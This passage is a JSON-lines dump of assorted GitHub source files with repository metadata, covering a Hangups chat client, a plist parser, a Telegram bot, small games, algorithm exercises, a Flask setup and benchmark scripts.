self._get_or_fetch_conversation(conv_id)\n except exceptions.NetworkError:\n logger.warning(\n 'Failed to fetch conversation for event notification: %s',\n conv_id\n )\n else:\n self._sync_timestamp = parsers.from_timestamp(event_.timestamp)\n conv_event = conv.add_event(event_)\n # conv_event may be None if the event was a duplicate.\n if conv_event is not None:\n await self.on_event.fire(conv_event)\n await conv.on_event.fire(conv_event)\n\n async def _handle_conversation_delta(self, conversation):\n \"\"\"Receive Conversation delta and create or update the conversation.\n\n Args:\n conversation: hangouts_pb2.Conversation instance\n\n Raises:\n NetworkError: A request to fetch the complete conversation failed.\n \"\"\"\n conv_id = conversation.conversation_id.id\n conv = self._conv_dict.get(conv_id, None)\n if conv is None:\n # Ignore the delta and fetch the complete conversation.\n await self._get_or_fetch_conversation(conv_id)\n else:\n # Update conversation using the delta.\n conv.update_conversation(conversation)\n\n async def _handle_set_typing_notification(self, set_typing_notification):\n \"\"\"Receive SetTypingNotification and update the conversation.\n\n Args:\n set_typing_notification: hangouts_pb2.SetTypingNotification\n instance\n \"\"\"\n conv_id = set_typing_notification.conversation_id.id\n res = parsers.parse_typing_status_message(set_typing_notification)\n await self.on_typing.fire(res)\n try:\n conv = await self._get_or_fetch_conversation(conv_id)\n except exceptions.NetworkError:\n logger.warning(\n 'Failed to fetch conversation for typing notification: %s',\n conv_id\n )\n else:\n await conv.on_typing.fire(res)\n\n async def _handle_watermark_notification(self, watermark_notification):\n \"\"\"Receive WatermarkNotification and update the conversation.\n\n Args:\n watermark_notification: hangouts_pb2.WatermarkNotification instance\n \"\"\"\n conv_id = watermark_notification.conversation_id.id\n res = parsers.parse_watermark_notification(watermark_notification)\n await self.on_watermark_notification.fire(res)\n try:\n conv = await self._get_or_fetch_conversation(conv_id)\n except exceptions.NetworkError:\n logger.warning(\n 'Failed to fetch conversation for watermark notification: %s',\n conv_id\n )\n else:\n await conv.on_watermark_notification.fire(res)\n\n async def _sync(self):\n \"\"\"Sync conversation state and events that could have been missed.\"\"\"\n logger.info('Syncing events since {}'.format(self._sync_timestamp))\n try:\n res = await self._client.sync_all_new_events(\n hangouts_pb2.SyncAllNewEventsRequest(\n request_header=self._client.get_request_header(),\n last_sync_timestamp=parsers.to_timestamp(\n self._sync_timestamp\n ),\n max_response_size_bytes=1048576, # 1 MB\n )\n )\n except exceptions.NetworkError as e:\n logger.warning('Failed to sync events, some events may be lost: {}'\n .format(e))\n else:\n for conv_state in res.conversation_state:\n conv_id = conv_state.conversation_id.id\n conv = self._conv_dict.get(conv_id, None)\n if conv is not None:\n conv.update_conversation(conv_state.conversation)\n for event_ in conv_state.event:\n timestamp = parsers.from_timestamp(event_.timestamp)\n if timestamp > self._sync_timestamp:\n # This updates the sync_timestamp for us, as well\n # as triggering events.\n await self._on_event(event_)\n else:\n self._add_conversation(\n conv_state.conversation,\n conv_state.event,\n conv_state.event_continuation_token\n )\n","repo_name":"tdryer/hangups","sub_path":"hangups/conversation.py","file_name":"conversation.py","file_ext":"py","file_size_in_byte":46809,"program_lang":"python","lang":"en","doc_type":"code","stars":1720,"dataset":"github-code","pt":"31"} +{"seq_id":"23523413138","text":"import networkx as nx\n\nfrom mo.back.replacement import BackReplacementPattern\nfrom mo.middle.passes.eliminate import remove_op_node_with_data_node\n\n\nclass RemoveLastSoftMaxPattern(BackReplacementPattern):\n # This replacer is intentionally disabled and must be called if the flag --remove_output_softmax was enabled\n enabled = False\n\n @staticmethod\n def pattern():\n return dict(\n nodes=[\n ('softmax_node', dict(kind='op', op='SoftMax'))\n ],\n edges=[]\n )\n\n @staticmethod\n def replace_pattern(graph: nx.MultiDiGraph, match: dict):\n \"\"\"\n Need to find the pattern: Parent (any type) -> SoftMAx -> OpOutput\n\n It is needed to remove output SoftMAx layer\n\n Parameters\n ----------\n graph : nx.MultiDiGraph\n Graph with loaded model.\n match : dict\n Patterns which were found in graph structure.\n \"\"\"\n softmax = match['softmax_node']\n child = softmax.out_node()\n if not child.has_and_set('is_output'):\n return\n remove_op_node_with_data_node(graph, softmax)\n","repo_name":"pc2/CustoNN2","sub_path":"dldt/model-optimizer/extensions/back/remove_last_softmax_pattern.py","file_name":"remove_last_softmax_pattern.py","file_ext":"py","file_size_in_byte":1140,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"13948360919","text":"from io import BytesIO\nimport json\nimport logging\nimport plistlib\n\n\nimport biplist\n\n\nlogger = logging.getLogger(__name__)\n\n\nclass InvalidPlistException(Exception):\n pass\n\n\nclass PlistParser(object):\n class PlistTypes(object):\n not_plist_type = 0\n binary_type = 1\n xml_type = 2\n json_type = 3\n\n _binary_magic = b'bplist00'\n _xml_magic = b\"\\n\\n\\n\"\n _xml2_magic = _xml_magic.replace(b'\\n', b'\\r\\n')\n _xml_str = _xml_magic.decode('utf-8')\n _xml2_str = _xml_magic.decode('utf-8')\n _json_magic_1 = b'['\n _json_magic_2 = b'{'\n\n @classmethod\n def _get_plist_type(cls, file_obj):\n class NestedScope(object):\n buf = b''\n size = 0\n\n # Ensures len(NestedScope.buf) >= length of target and compares\n def read_and_check(magic):\n # Already read the required number of bytes\n if len(NestedScope.buf) >= len(magic):\n return NestedScope.buf.startswith(magic)\n # Impossible to satisfy the requirement\n if len(NestedScope.buf) + len(magic) > NestedScope.size:\n return False\n NestedScope.buf += file_obj.read(len(magic) - len(NestedScope.buf))\n return NestedScope.buf.startswith(magic)\n\n file_obj.seek(0, 2)\n NestedScope.size = file_obj.tell()\n file_obj.seek(0)\n\n if read_and_check(cls._binary_magic):\n return cls.PlistTypes.binary_type\n if read_and_check(cls._xml_magic) or read_and_check(cls._xml2_magic):\n return cls.PlistTypes.xml_type\n if read_and_check(cls._json_magic_1) or read_and_check(cls._json_magic_2):\n return cls.PlistTypes.json_type\n return cls.PlistTypes.not_plist_type\n\n @classmethod\n def parse(cls, file_obj):\n file_obj.seek(0)\n return cls._parse(BytesIO(file_obj.read()))\n\n @classmethod\n def _parse(cls, file_obj, plist_type=None):\n def visit(plist):\n if isinstance(plist, (bytes, str)):\n if isinstance(plist, str):\n if plist.startswith(cls._xml_str) or plist.startswith(cls._xml2_str):\n plist = plist.encode('utf-8')\n else:\n return None\n\n try:\n value_flo = BytesIO(plist)\n value_type = cls._get_plist_type(value_flo)\n if value_type != cls.PlistTypes.not_plist_type:\n return cls._parse(value_flo, plist_type=value_type)\n except Exception:\n # It wasn't a plist\n return None\n iterators = {list: lambda x: iter(enumerate(x)),\n dict: lambda x: iter(x.items())}\n for base_type, value in iterators.items():\n if isinstance(plist, base_type):\n it = value\n break\n else:\n it = lambda x: []\n\n for k, v in it(plist):\n visited = visit(v)\n if visited:\n plist[k] = visited\n return None\n\n data = cls._read_plist(file_obj, plist_type=plist_type)\n visit(data)\n return data\n\n @classmethod\n def _read_plist(cls, file_obj, plist_type=None):\n # TODO: Old-Style ASCII property Lists\n # https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/PropertyLists/OldStylePlists/OldStylePLists.html\n # They're like JSON, except not.\n if plist_type is None:\n plist_type = cls._get_plist_type(file_obj)\n try:\n file_obj.seek(0)\n return ({cls.PlistTypes.binary_type: cls._read_binary_plist,\n cls.PlistTypes.xml_type: cls._read_xml_plist,\n cls.PlistTypes.json_type: cls._read_json_plist}\n [plist_type](file_obj))\n except Exception:\n raise\n\n @classmethod\n def _read_binary_plist(cls, file_obj):\n try:\n return biplist.readPlist(file_obj)\n except biplist.InvalidPlistException as e:\n raise InvalidPlistException(e)\n\n @classmethod\n def _read_xml_plist(cls, file_obj):\n rtn = plistlib.load(file_obj)\n return rtn\n\n @classmethod\n def _read_json_plist(cls, file_obj):\n rtn = json.load(file_obj)\n return rtn\n","repo_name":"strozfriedberg/plistutils","sub_path":"plistutils/plistparser.py","file_name":"plistparser.py","file_ext":"py","file_size_in_byte":4571,"program_lang":"python","lang":"en","doc_type":"code","stars":44,"dataset":"github-code","pt":"31"} +{"seq_id":"40943568006","text":"import numpy as np\nfrom selection.covtest import covtest\n\ndef parameters(n, rho, pos):\n \"\"\"\n design matrix and mu vector\n \"\"\"\n\n cov = ((1-rho) * np.identity(n) + rho * np.ones((n,n)))\n X = np.linalg.cholesky(cov).T\n beta = np.zeros(n)\n beta[pos] = 1.\n mu = np.dot(X, beta)\n return X, mu, beta\n\ndef constraints(X, pos):\n n, p = X.shape\n while True:\n Y = np.random.standard_normal(n)\n con, _, idx, sign = covtest(X, Y, sigma=1)\n if idx == pos and sign == +1:\n initial = Y.copy()\n break\n return con, initial\n","repo_name":"wfithian/optimal-inference","sub_path":"code/misc_plots/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"31"} +{"seq_id":"43729388495","text":"import telegram\nfrom telegram.ext import Updater\nimport logging\nfrom telegram.ext import CommandHandler\nfrom telegram.ext import MessageHandler, Filters\nfrom telegram import InlineQueryResultArticle, InputTextMessageContent\nfrom telegram.ext import InlineQueryHandler\nimport json\nimport requests\nfrom telethon.tl.custom import Button\nfrom telethon import events\nfrom telethon import TelegramClient\n\nbot = telegram.Bot(token = 'your token')\nupdater = Updater(token='your token')\ndispatcher = updater.dispatcher\nlogging.basicConfig(format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',level=logging.INFO)\nprint(bot.get_me())\n\ndef command(handler,cmd=None,**kw):\n def decorater(func):\n def wrapper(*args,**kw):\n return func(*args,**kw)\n if cmd==None:\n func_hander=handler(func,**kw)\n else:\n func_hander=handler(cmd,func,**kw)\n dispatcher.add_handler(func_hander)\n return wrapper\n return decorater\n\n\n#/welcome 欢迎语\n@command(CommandHandler,'welcome')\ndef welcome(bot, update):\n bot.send_message(chat_id=update.message.chat_id, text='''✨Welcome to BiBi's group chat {} !'''.format(update.message.from_user.first_name) ,parse_mode=\"html\" )\n\n#帮助 /start\n@command(CommandHandler,'start')\ndef start(bot, update):\n bot.send_message(chat_id=update.message.chat_id, text=\"
    Hello {},😘I'm Haimei_bot ~\\nyou can choose:
    \\n/start - help \\n/id - View the current chat_id \\n/google - search\".format(update.message.from_user.first_name),reply_to_message_id = update.message.message_id, parse_mode=\"html\")\n# chat_handler = CommandHandler('chat', chat)\n# dispatcher.add_handler(chat_handler\n\n#、/google 搜索\n@command(CommandHandler,'google')\ndef google(bot,update):\n bot.send_message(\n chat_id=update.message.chat_id, \n text=\"
    search
    \", \n reply_markup={ \n \"inline_keyboard\": [[{ \n \"text\":\"google\", \n \"url\":\"www.google.com\",\n }]],\n },\n reply_to_message_id = update.message.message_id,\n parse_mode=\"html\" \n ) \n\n\n#获取群chat_id /id\n@command(CommandHandler,'id')\ndef id(bot,update):\n bot.send_message(chat_id=update.message.chat_id,text=\"
    chat_id is :{}
    \".format(str(update.message.chat_id)),reply_to_message_id = update.message.message_id,parse_mode=\"html\")\n\n\n#获取自己的上一条记录 /uptext\n# @command(CommandHandler,'uptext')\n# def uptext(bot,update):\n# bot.send_message(chat_id =update.message.chat_id,text=\"您的上一条记录是: \"+ update.message.text)\n\n#获取自己的详细信息\n\n\n\n\n#获取特定的经纬度,由机器人发送给用户,作用:可用于获取公司地址\n# @command(CommandHandler,'uptext')\n# def uptext(bot,update):\n# bot.send_location(chat_id =update.message.chat_id,latitude=63.23,longitude=26.133,disable_notification = False)\n\n\n\n#都回复hello\n# @command(MessageHandler,Filters.text)\n# def echo(bot, update,KeyboardButton):\n# bot.send_message(chat_id=update.message.chat_id, text='hello')\n# echo_handler = MessageHandler(Filters.text, echo)\n# dispatcher.add_handler(echo_handler)\n\n\n #获取管理员信息\n # members=bot.get_chat_administrators(update.message.chat.id)\n # for member in members:\n # print(member)\n #获取成员个数\n # print(bot.get_chat_members_count(update.message.chat.id))\n\n\n@command(CommandHandler,'caps',pass_args=True)\ndef caps(bot, update, args):\n text_caps = ' '.join(args).upper() \n bot.send_message(chat_id=update.message.chat_id, text=text_caps)\n\n\n@command(InlineQueryHandler)\ndef inline_caps(bot, update):\n query = update.inline_query.query\n if not query:\n return\n results = list()\n results.append(\n InlineQueryResultArticle(\n id=query.upper(),\n title='Caps',\n input_message_content=InputTextMessageContent(query.upper())\n )\n )\n bot.answer_inline_query(update.inline_query.id, results)\n\n\n@command(MessageHandler,Filters.command)\ndef unknown(bot, update):\n bot.send_message(chat_id=update.message.chat_id, text=\"
    Sorry, I didn't understand that command.\\nyou can choose:
    \\n/start - help \\n/id - View the current chat_id \\n/google - search\",reply_to_message_id = update.message.message_id,parse_mode=\"html\")\n\n\n@command(CommandHandler,'reply')\ndef reply(bot, update):\n bot.send_chat_action(chat_id=update.message.chat_id, action=telegram.ChatAction.TYPING)\n\n\n\nupdater.start_polling()\n# updater.stop()\n","repo_name":"shanghaimei/telethon-python","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4557,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"17056037222","text":"# Fruit Into Baskets\n# You are visiting a farm that has a single row of fruit trees arranged from left to right.\n# The trees are represented by an integer array fruits where fruits[i] is the type of fruit the ith tree produces.\n# You want to collect as much fruit as possible. However, the owner has some strict rules that you must follow:\n# You only have two baskets, and each basket can only hold a single type of fruit.\n# There is no limit on the amount of fruit each basket can hold.\n# Starting from any tree of your choice, you must pick exactly one fruit from every tree\n# (including the start tree) while moving to the right. The picked fruits must fit in one of your baskets.\n# Once you reach a tree with fruit that cannot fit in your baskets, you must stop.\n# Given the integer array fruits, return the maximum number of fruits you can pick.\n# Example 1:\n# Input: fruits = [1,2,1]\n# Output: 3\n# Explanation: We can pick from all 3 trees.\n# Example 2:\n# Input: fruits = [0,1,2,2]\n# Output: 3\n# Explanation: We can pick from trees [1,2,2].\n# If we had started at the first tree, we would only pick from trees [0,1].\n# Example 3:\n# Input: fruits = [1,2,3,2,2]\n# Output: 4\n# Explanation: We can pick from trees [2,3,2,2].\n# If we had started at the first tree, we would only pick from trees [1,2].\n# Constraints:\n# 1 <= fruits.length <= 10^5\n# 0 <= fruits[i] < fruits.length\n# -----------------------------------------\nfrom collections import defaultdict\n\n\n# Return an int with the maximum count of fruit that can be picked\ndef count_fruit(fruits):\n selected_fruit = {}\n curr_count = 0\n max_count = 0\n left = 0\n right = 0\n while left < len(fruits) and right < len(fruits):\n r_fruit = fruits[right]\n l_fruit = fruits[left]\n\n # We know that the fruit to the right can be added\n if r_fruit in selected_fruit and len(selected_fruit) <= 2:\n selected_fruit[r_fruit] += 1\n right += 1\n curr_count += 1\n elif r_fruit not in selected_fruit and len(selected_fruit) < 2:\n selected_fruit[r_fruit] = 1\n right += 1\n curr_count += 1\n else:\n # The fruit at the right can't be added\n # Need to take away a fruit from the left\n # Assume that it was added in and can be safely taken away??\n selected_fruit[l_fruit] -= 1\n if selected_fruit[l_fruit] == 0:\n del selected_fruit[l_fruit]\n curr_count -= 1\n left += 1\n max_count = max(max_count, curr_count)\n\n return max_count\n\n\nfruits = [1, 2, 1]\nprint(count_fruit(fruits))\n# Output: 3\n\nfruits = [0, 1, 2, 2]\nprint(count_fruit(fruits))\n# Output: 3\n\nfruits = [1, 2, 3, 2, 2]\nprint(count_fruit(fruits))\n# Output: 4\n\nfruits = [0]\nprint(count_fruit(fruits))\n# Output: 1\n\nfruits = [0, 0, 0, 1, 2, 3, 4]\nprint(count_fruit(fruits))\n# Output: 4\n\nfruits = [3, 2, 2, 3, 3, 2, 3, 4, 2]\nprint(count_fruit(fruits))\n# Output: 7\n\nfruits = [1, 5, 1, 1, 1, 2]\nprint(count_fruit(fruits))\n# Output: 5\n\nfruits = []\nprint(count_fruit(fruits))\n# Output: 0\n\n# ---------------------------------------------------------\n# set doesn't work when the same fruit is listed in a row and needs to be removed\n# def count_fruit(fruits):\n# selected_fruit = set()\n# curr_count = 0\n# max_count = 0\n# left = 0\n# right = 0\n# while left < len(fruits) and right < len(fruits):\n# current_right_fruit = fruits[right]\n# # Know for sure that the fruit can be added to basket, add from right\n# if current_right_fruit in selected_fruit:\n# curr_count += 1\n# right += 1\n# elif len(selected_fruit) < 2:\n# selected_fruit.add(current_right_fruit)\n# curr_count += 1\n# right += 1\n\n# # Can't add the fruit to the basket yet, take away from left\n# # selected_fruits is >= 2\n# else:\n# current_left_fruit = fruits[left]\n# while fruits[left] == current_left_fruit:\n# curr_count -= 1\n# left += 1\n# selected_fruit.remove(current_left_fruit)\n\n# # calculate if the current count results in new max_count\n# max_count = max(curr_count, max_count)\n# return max_count\n\n# Dict version doesn't work\n# def count_fruit(fruits):\n# selected_fruit = {}\n# curr_count = 0\n# max_count = 0\n# left = 0\n# right = 0\n# while left < len(fruits) and right < len(fruits):\n# # print(f\"selected_fruit: {selected_fruit}\")\n# current_right_fruit = fruits[right]\n# # Know for sure that the fruit can be added to basket, add from right\n# if current_right_fruit in selected_fruit:\n# curr_count += 1\n# right += 1\n# selected_fruit[current_right_fruit] += 1\n# if len(selected_fruit) < 2:\n# selected_fruit[current_right_fruit] = 1\n# curr_count += 1\n# right += 1\n\n# # Can't add the fruit to the basket yet, take away from left\n# else:\n# current_left_fruit = fruits[left]\n# selected_fruit[current_left_fruit] -= 1\n# if selected_fruit[current_left_fruit] == 0:\n# del selected_fruit[current_left_fruit]\n# curr_count -= 1\n# left += 1\n\n# # calculate if the current count results in new max_count\n# max_count = max(curr_count, max_count)\n# return max_count\n","repo_name":"mckorling/algo-practice","sub_path":"dynamic-sliding-window/fruits_basket.py","file_name":"fruits_basket.py","file_ext":"py","file_size_in_byte":5487,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"14120235780","text":"import csv\nimport os\nfrom functools import reduce\nfrom typing import Dict\n\nimport numpy as np\nimport pandas as pd\nimport spacy\nfrom loguru import logger\nfrom overrides import overrides\nfrom poly_nlp.parallel.ray_executor import RayExecutor\nfrom poly_nlp.utils.data_structures.transformed_dict import TransformedDict\nfrom prefect import Task\nfrom tqdm import tqdm\nfrom transformers import AutoTokenizer\n\nfrom .transformer_utils import encode_sentence_pairs\n\n\nclass TransformerEncodeTask(Task):\n @staticmethod\n def tokenize(input, output_path, maxlen, transformer_model, pos=0):\n query_mapping = {}\n input_ids = np.memmap(\n f\"{output_path}/input_ids_{pos}.mmap\",\n dtype=\"long\",\n mode=\"w+\",\n shape=(len(input), maxlen),\n )\n attention_masks = np.memmap(\n f\"{output_path}/attention_maps_{pos}.mmap\",\n dtype=\"long\",\n mode=\"w+\",\n shape=(len(input), maxlen),\n )\n tokenizer = AutoTokenizer.from_pretrained(transformer_model)\n for index, (id, query) in enumerate(\n tqdm(input.items(), \"Tokenizing and encoding to transformer format\")\n ):\n query_mapping[id] = (pos, index)\n\n # TODO: Need to map tokentype_ids\n if isinstance(query, str):\n i_ids, a_ids, t_ids = encode_sentence_pairs(\n sentence1=query, tokenizer=tokenizer, max_length=maxlen\n )\n else:\n i_ids, a_ids, t_ids = encode_sentence_pairs(\n sentence1=query[\"sentence1\"],\n sentence2=query[\"sentence2\"],\n tokenizer=tokenizer,\n max_length=maxlen,\n )\n\n input_ids[index] = i_ids\n attention_masks[index] = a_ids\n return {\n pos: {\n \"input_ids\": np.memmap(\n f\"{output_path}/input_ids_{pos}.mmap\",\n dtype=\"long\",\n mode=\"r+\",\n shape=(len(input), maxlen),\n ),\n \"attention_masks\": np.memmap(\n f\"{output_path}/attention_maps_{pos}.mmap\",\n dtype=\"long\",\n mode=\"r+\",\n shape=(len(input), maxlen),\n ),\n \"query_mapping\": query_mapping,\n }\n }\n\n @overrides\n def run(\n self,\n text_input,\n output_path,\n t_name,\n transformer_model,\n maxlen=128,\n ):\n logger.info(\"Tokenizing text\")\n output_path = os.path.join(output_path, t_name)\n if not os.path.exists(output_path):\n logger.info(f\"{output_path} not exists. Creating a new one\")\n os.makedirs(output_path)\n vocab_mapped_text = self.tokenize(\n input=text_input,\n output_path=output_path,\n maxlen=maxlen,\n transformer_model=transformer_model,\n )\n\n combined_query_mapping = vocab_mapped_text[0][\"query_mapping\"]\n\n return {\n \"inputs\": TransformedDict(\n combined_query_mapping,\n [\n (\n key,\n {k: v for k, v in val.items() if not k == \"query_mapping\"},\n )\n for key, val in vocab_mapped_text.items()\n ],\n )\n }\n","repo_name":"ai-systems/poly-nlp","sub_path":"poly_nlp/tasks/preprocessing/transformer_encode_task/transformer_encode_task.py","file_name":"transformer_encode_task.py","file_ext":"py","file_size_in_byte":3462,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"22175965242","text":"class GameBrain:\n\n def __init__(self):\n self.game_board = [\"\"] * 9\n self.markers = ['X', 'O']\n self.round = 0\n\n def split_up_board(self):\n board = self.game_board\n return {\n \"cols\": [board[:3], board[3:6], board[6:]],\n \"rows\": [board[:7:3], board[1:8:3], board[2:9:3]],\n \"diags\": [board[:9:4], board[2:7:2]]\n }\n\n def determine_marker(self):\n if self.round % 2 == 0:\n self.round += 1\n return self.markers[0]\n else:\n self.round += 1\n return self.markers[1]\n\n def check_position_free(self, user_input):\n if self.game_board[user_input] == \"\":\n return True\n else:\n return False\n\n def add_position(self, marker, user_input):\n self.game_board[user_input] = marker\n\n def check_winner(self, marker):\n marker_wins = False\n split_board = self.split_up_board()\n for board_sections in split_board.values():\n for section in board_sections:\n if section.count(marker) == 3:\n marker_wins = True\n return marker_wins\n\n def check_board_full(self):\n if \"\" in self.game_board:\n return False\n else:\n return True\n\n def reset_game_board(self):\n self.game_board = [\"\"] * 9\n self.round = 0\n","repo_name":"Ryhhill1998/TileMemoryGame","sub_path":"game_brain.py","file_name":"game_brain.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27735078979","text":"from random import randint\n\nimport Player\nfrom Space import Space\nfrom enums import ExitStrategy\n\n\nclass Jail(Space):\n\n def land(self, visitor: Player, *args, **kwargs) -> ExitStrategy:\n payment = kwargs.get('payment')\n self.most_recent_visitor = visitor\n if visitor.is_in_jail:\n if payment: # in jail but wants to pay $50 to get out\n visitor.remove_balance(self.rent.get(self.current_rent))\n visitor.is_in_jail = False\n visitor.turns_left_in_jail = 0\n return ExitStrategy.EXIT_VIA_PAYMENT\n elif visitor.turns_left_in_jail - 1 <= 0: # last turn in jail\n visitor.is_in_jail = False\n visitor.turns_left_in_jail = 0\n return ExitStrategy.EXIT_VIA_TIME_SERVED\n elif visitor.turns_left_in_jail - 1 > 0: # more than one turn left, roll for doubles\n visitor.turns_left_in_jail -= 1\n die1 = randint(1, 6)\n die2 = randint(1, 6)\n if die1 == die2:\n visitor.is_in_jail = False\n visitor.turns_left_in_jail = 0\n return ExitStrategy.EXIT_VIA_DOUBLE_ROLL\n return ExitStrategy.EXIT_NOT_SUCCESSFUL\n else:\n return ExitStrategy.EXIT_NOT_IN_JAIL\n","repo_name":"kush5683/monopoly-AI","sub_path":"src/Jail.py","file_name":"Jail.py","file_ext":"py","file_size_in_byte":1339,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"38706980865","text":"import subprocess\nimport sys\nfrom pprint import pprint\n\nif len(sys.argv) != 2:\n print(\"Usage: {} \".format(sys.argv[0]))\n exit(1)\n\nexecutable = sys.argv[1]\n\nfiles = [\"./M1a.csv\", \"./M2c.csv\", \"./M3d.csv\"]\nobject_sizes = {\n files[0]: 40,\n files[1]: 100,\n files[2]: 100,\n}\ntemperatures = [0.01, 1, 2]\ndegree_destruction = [0.01, 0.05, 0.1, 0.2]\nruntime = 120\npasses = 10\n\nresults = {}\nprobs = {}\n\nfor file in files:\n print(\"Testing\", file)\n results[file] = {}\n probs[file] = {}\n for degree in degree_destruction:\n print(\"Degree of destruction\", degree)\n results[file][degree] = {}\n probs[file][degree] = {}\n for temp in temperatures:\n print(\"Temperature\", temp)\n sys.stdout.flush()\n results[file][degree][temp] = []\n probs[file][degree][temp] = {}\n for i in range(passes):\n out_file = \"_\".join([file.split(\"/\")[-1].split(\".\")[0], str(degree), str(temp), str(i), \"result\"])\n args = [executable, file, out_file, str(object_sizes[file]), str(degree), str(temp), str(runtime)]\n output = subprocess.run(args, capture_output=True)\n if output.returncode != 0:\n print(\"Failed to run command: \", \" \".join(args))\n print(output.stdout)\n print(output.stderr)\n exit(1)\n lines = output.stdout.decode(\"utf8\").splitlines()\n prob = None\n for line in lines:\n if \"Selection Probabilities\" in line:\n prob = {}\n continue\n elif prob is None:\n continue\n elif line[0] == \"=\":\n break\n split_line = line.split(':')\n algorithm = split_line[0]\n if algorithm not in probs[file][degree][temp]:\n probs[file][degree][temp][algorithm] = []\n probs[file][degree][temp][algorithm].append(float(split_line[1]))\n\n best_grids = lines[-6:]\n result = []\n for i in range(0, len(best_grids), 2):\n score_line = best_grids[i]\n iter_line = best_grids[i + 1]\n score = score_line.split(' ')[4]\n iter = iter_line.split(' ')[4]\n time = float(iter_line.split(' ')[7]) / 1e9\n result.append((score, int(iter), time))\n results[file][degree][temp].append(result)\npprint(probs)\npprint(results)\n","repo_name":"djns99/RectanglePacking","sub_path":"benchmarks/run_benchmarks.py","file_name":"run_benchmarks.py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"1407231216","text":"import logging\nimport os\n\nfrom logging.handlers import RotatingFileHandler\n\nfrom flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy\nfrom config import Config\nfrom flask_migrate import Migrate\nfrom flask_marshmallow import Marshmallow\n\ndb = SQLAlchemy()\nmigrate = Migrate()\nma = Marshmallow()\n\nlogger = logging.getLogger(\"app\")\n\n\ndef create_app(config_class=Config):\n app = Flask(__name__)\n app.config.from_object(config_class)\n\n db.init_app(app)\n migrate.init_app(app, db)\n\n from app.api import bp as api_bp\n app.register_blueprint(api_bp, url_prefix='/api')\n\n if not app.debug and not app.testing:\n if app.config['LOG_TO_STDOUT']:\n stream_handler = logging.StreamHandler()\n stream_handler.setLevel(logging.INFO)\n logger.addHandler(stream_handler)\n else:\n if not os.path.exists('logs'):\n os.mkdir('logs')\n file_handler = RotatingFileHandler('logs/server.log',\n maxBytes=10240,\n backupCount=10)\n file_handler.setFormatter(\n logging.Formatter('%(asctime)s %(levelname)s: %(message)s '\n '[in %(pathname)s:%(lineno)d]'))\n file_handler.setLevel(logging.INFO)\n logger.addHandler(file_handler)\n\n logger.setLevel(logging.INFO)\n\n return app\n\n\nfrom app import models","repo_name":"Syncma/flask-web","sub_path":"app/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"24073996882","text":"day = 2 # Fill the day number here\n\nwith open(f'./data/day{day}.txt', 'r') as filedatas:\n datas = [x for x in filedatas]\n\ndef get_corresponding_value_for_elf_pick():\n return list(ELF_PICK.keys())[list(ELF_PICK.values()).index(elfPick)]\n\n\ndef get_corresponding_value_for_my_pick():\n return list(MY_PICK.keys())[list(MY_PICK.values()).index(myPick)]\n\n\nELF_PICK = {'Rock': 'A', 'Paper': 'B', 'Scissors': 'C'}\nMY_PICK = {'Rock': 'X', 'Paper': 'Y', 'Scissors': 'Z'}\nMY_PICK_2 = {'X': 'lose', 'Y': 'tie', 'Z': 'win'}\n\nPICK_TO_LOSE = {'Rock': 'Scissors', 'Paper': 'Rock', 'Scissors': 'Paper'}\nPICK_TO_WIN = {'Rock': 'Paper', 'Paper': 'Scissors', 'Scissors': 'Rock'}\n\nPOINTS_VALUE = {'X': 1, 'Y': 2, 'Z': 3}\nPOINTS_VALUE_2 = {'Rock': 1, 'Paper': 2, 'Scissors': 3}\n\nGAME_VALUE = {'win': 6, 'lose': 0, 'tie': 3}\n\n\n# part1\npointsPart1 = 0\nfor data in datas:\n elfPick = data[0]\n myPick = data[2]\n pointsPart1 += POINTS_VALUE[myPick]\n\n if get_corresponding_value_for_my_pick() == get_corresponding_value_for_elf_pick():\n pointsPart1 += GAME_VALUE['tie']\n elif elfPick == ELF_PICK['Scissors'] and myPick == MY_PICK['Rock'] \\\n or elfPick == ELF_PICK['Paper'] and myPick == MY_PICK['Scissors'] \\\n or elfPick == ELF_PICK['Rock'] and myPick == MY_PICK['Paper']:\n pointsPart1 += GAME_VALUE['win']\n else:\n pointsPart1 += GAME_VALUE['lose']\n\n# part2\npointsPart2 = 0\nfor data in datas:\n elfPick = data[0] # A\n myPick = data[2] # X\n\n elfPickValue = get_corresponding_value_for_elf_pick() # Rock\n whatShouldIDo = MY_PICK_2[myPick] # lose, tie, win\n\n whatIWillPlay = ''\n if whatShouldIDo == 'tie':\n whatIWillPlay = elfPickValue\n elif whatShouldIDo == 'lose':\n whatIWillPlay = PICK_TO_LOSE[elfPickValue]\n elif whatShouldIDo == 'win':\n whatIWillPlay = PICK_TO_WIN[elfPickValue]\n\n pointsPart2 += POINTS_VALUE_2[whatIWillPlay]\n pointsPart2 += GAME_VALUE[whatShouldIDo]\n\n\nprint(f'--- Day {day} ---')\nprint(f'p1: {pointsPart1}')\nprint(f'p2: {pointsPart2}')\n","repo_name":"CarlEthGoy/AdventOfCode","sub_path":"solutions/day2.py","file_name":"day2.py","file_ext":"py","file_size_in_byte":2052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27586203620","text":"from typing import Dict, Set, Tuple, List\nfrom DayBase import DayBase, DayBaseSmall\n\n\nclass Day8(DayBase):\n def __init__(self):\n DayBase.__init__(self, 8, to_int=False)\n\n self.digit_map: Dict[int, Set[str]] = {\n 